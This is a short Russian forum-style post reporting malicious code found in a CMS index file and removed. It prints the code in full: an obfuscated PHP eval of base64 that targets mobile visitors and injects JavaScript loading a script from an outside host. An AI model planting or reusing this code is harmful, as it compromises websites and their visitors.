В индексе CMS, был код:
<?php
@require_once 'administrator/about.php'; #xn--90aqlcbabncjl.xn--p1ai
?>
<?php preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgIA0KICAgIGVjaG8gJzxzY3JpcHQ+dmFyIF8weGUxZTg9WyJceDNDXHg3M1x4NjNceDcyXHg2OSIsIlx4NzBceDc0XHgyMFx4NzRceDc5XHg3MFx4NjVceDNEXHgyMlx4NzRceDY1XHg3OFx4NzRceDJGXHg2QVx4NjFceDc2XHg2MVx4NzNceDYzXHg3Mlx4NjlceDcwXHg3NFx4MjJceDIwXHg3M1x4NzJceDYzXHgzRFx4MjJceDY4XHg3NFx4NzRceDcwXHgzQVx4MkZceDJGXHg3Mlx4NzVceDJEXHg3MFx4NjhceDZGXHg2RVx4NjVceDJFXHg2M1x4NkZceDZEXHgyRlx4M0ZceDc0XHg3OVx4NzBceDY1XHgzRFx4NkFceDczXHgyNlx4NzNceDY1XHg3Mlx4NjVceDY2XHgzRCIsIlx4NzJceDY1XHg2Nlx4NjVceDcyXHg3Mlx4NjVceDcyIiwiXHgyMlx4M0VceDNDXHgyRlx4NzNceDYzXHg3Mlx4NjkiLCJceDcwXHg3NFx4M0UiLCJceDc3XHg3Mlx4NjlceDc0XHg2NSJdO2RvY3VtZW50W18weGUxZThbNV1dKF8weGUxZThbMF0rXzB4ZTFlOFsxXStlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnRbXzB4ZTFlOFsyXV0pK18weGUxZThbM10rXzB4ZTFlOFs0XSk7PC9zY3JpcHQ+JzsNCiAgICBmbHVzaCgpOw0KfQ=='\x29\x29\x3B", "."); ?>
<?php
ob_start();
?>
После его удаления, смог удалить и about.php